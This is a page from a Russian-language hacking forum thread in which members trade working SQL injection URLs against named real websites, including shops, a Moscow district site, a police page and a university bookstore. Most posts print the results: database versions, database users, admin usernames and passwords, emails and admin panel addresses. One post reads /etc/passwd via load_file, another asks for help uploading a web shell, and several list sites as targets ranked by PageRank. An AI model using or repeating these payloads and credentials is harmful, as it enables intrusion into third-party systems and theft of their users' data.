SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. foopi

    foopi Member

    Joined:
    26 Oct 2008
    Messages:
    41
    Likes Received:
    20
    Reputations:
    5
    Code:
    http://www.kinoteatrdoc.ru/press.php?id=-1+union+select+version(),user(),database()--
    version():4.1.22
    user():[email protected]
    database():kinoteatr_kd
    PR:5; тИЦ:850

    Code:
    http://sok.sao.mos.ru/news_full.php?id=-1+union+select+1,unhex(hex(user())),unhex(hex(version())),unhex(hex(database())),5--
    version():4.1.12
    user():sao@chicken
    database:sao
    PR:4; тИЦ:700

    Code:
    http://www.doctor-gynecolog.ru/index.phtml?id=-1+union+select+concat_ws(0x3a,666,username,userpass),2+from+poll_user+limit+0,1/*
    version():5.0.45
    user():medsunr_d-gyn@localhost
    database():medsunr_d-gyn
    PR:3;тИЦ:50
     
  2. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    Code:
    http://www.aquaponics-shop.com/aquaponics-shop/products.php?prod_id=-25+union+select+1,2,binary(user()),4,5,6,7,8--
    apshop@localhost
    5.0.16
    aquaponicsshop
    Code:
    http://www.ibaysilvershop.com/show_cart.php?new=cat_id=42%20AND%20prod_id=-3+union+select+1,2,user(),4,5,6,7,8--
    ibaysilv_admin@localhost
    5.0.67-community
    ibaysilv_ibays
    Code:
    http://www.ibaysilvershop.com/show_cart.php?new=cat_id=42%20AND%20prod_id=-3+union+select+1,2,concat_ws(char(58),username,password,email),4,null,6,7,8+from+ibaysilv_ibays.admin--
    edmd_2005:edmd_2005:[email protected]
    http://www.ibaysilvershop.com/admin/
     
  3. lexus5122

    lexus5122 New Member

    Joined:
    16 Mar 2007
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Помогите залить шелл:


    только предварительно войдите акк:

     
    1 person likes this.
  4. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Rfe.org - PR 8 ~3к
    4 ветка + права
     
    2 people like this.
  5. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    PR 4

    http://rpolice.ru/index.php?page=album&type=session&DocID=162&album_page='

    скуль
    управление гибдд
     
  6. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.intelit.kiev.ua/?page=konkursy&state=view&konkursy_id=-1+union+select+1,2,3,4,concat_ws(0x3a3a,login,pass),6,7+from+test_users+limit+1,1--
    cannabies::xqjhze

    Code:
    http://www.intelit.kiev.ua/?page=konkursy&state=view&konkursy_id=-1+union+select+1,2,3,4,table_name,6,7+from+information_schema.tables+limit+0,1--
    Code:
    http://www.intelit.kiev.ua/?page=konkursy&state=view&konkursy_id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7--
    intelit_user@localhost:5.0.67-community-log:intelit_intelit
    тИЦ: 20
    Pagerank: 3
     
  7. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.ukbaristachampionship.co.uk/index.php?id=-1+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5   ,6--
    user(): [email protected]
    version(): 4.0.20-standard-log
    database(): ukbaristac
    PR: 4
     
  8. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2

    кто решится раскрутить?
     
    1 person likes this.
  9. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    F4R, diznt
    я думаю это не иьект!
     
  10. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    это пхп
     
  11. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://www.ajour-travel.ru/tab.php?strana='
    Элементарно не смог посчитать количество столбцов. Нервы сдали после такого.................. :eek:
     
  12. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://info.twtelecom.net/info.php?id=-2+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3--

    5.0.22
    info@localhost
    info

    http://www.allyth.com/page.php?lnkid=601111+union+select+1,2,3,4,5,concat_ws(0x3a3a,version(),user(),database())--

    5.0.67-community
    almoonn_rfaah@localhost
    almoonn_rfaah

    http://www.sabeel.org/etemplate.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a3a,version(),user(),database()),6,7,8,9,10,11,12,13--

    5.0.45-community-nt
    web@localhost
    502401045_sabeel

    http://www.ieeta.pt/sias/high_details.php?id=-98+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6--

    PageRank = 7

    4.0.26
    [email protected]
    sias_extended
     
  13. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Это не пхп, sql но в Limit - ничего не зделаешь.


    Эдушный шоп ( пр 6 )

    http://bookstore.juilliard.edu/pages/music_books.php?id=-823+union+select+1,concat_ws(0x2d2d2d,user,host,password,file_priv),333333+from+mysql.user--

    есть пользователи с host % и file_priv Y ( tim:abs123), но открытых портов которые смахивали бы на Mysql не нашел.
    Вот админы

    http://bookstore.juilliard.edu/pages/music_books.php?id=-823+union+select+1,concat_ws(0x2f,username,password,priv,email),3+from+users+where+priv=0x61646d696e--

    chung:presto
    jonsoons:54645464

    Админка:
    https://bookstore.juilliard.edu/admin/
     
    #7293 AkyHa_MaTaTa, 6 Jan 2009
    Last edited: 6 Jan 2009
    1 person likes this.
  14. -=Razor=-

    -=Razor=- Member

    Joined:
    20 Dec 2008
    Messages:
    30
    Likes Received:
    29
    Reputations:
    3
    5.0.22-standard-logvfscom_dbwebmaster@localhost
    ТИЦ:160
    PR:6


    5.0.67-community - tsl_admin@localhost - tsl_admin

    ТИЦ:30
    PR:5

    ======

    Version: 4.1.22-log
    database: wwwmmdbusersru
    user: mmdb@localhost

    ТИЦ:40
    PR: 5
     
  15. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    Держите может у кого получится....сам не смог ничё сделать
    http://www.fcmetalurg.com/news/index.php?id=1350
     
  16. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Там не нашел но тут да

    http://www.fcmetalurg.com/club/about_team.php?tid=-5+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10,11,12,13,14,15,16,17,18,19--

    Version:4.0.27-standard-log
    User:fcmetalu_club@localhost
    Database:fcme
     
  17. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Onestops.info - PR6 ~1.5к
    5 ветка..

    Metalstorm.ee - PR5 ~1к
    5 ветка..

    Apricorn.com - PR5 ~1к
    4 ветка..
     
    #7297 sabe, 6 Jan 2009
    Last edited: 6 Jan 2009
  18. zenon2

    zenon2 New Member

    Joined:
    25 Oct 2006
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Народ если можно выложите пример где разрешено LOAD_FILE() в скуле. А то чтото перерыл кучу всего а так и ниразу не видел как это работает. Такой впечатление что чтото неправильно делаю потому как всегда резултат null.

    Извините если offtop.
     
  19. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    2 zenon2
    понимаю тебя чел... у самого раньше такой же вопрос был...
    Code:
    http://www.abbotsfordinmotion.ca/news/general.php?id=-5307'+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15,16--%20'1
     
    1 person likes this.
  20. zenon2

    zenon2 New Member

    Joined:
    25 Oct 2006
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    спасибо:) Хоть раз посмотрел:)
     
Thread Status:
Not open for further replies.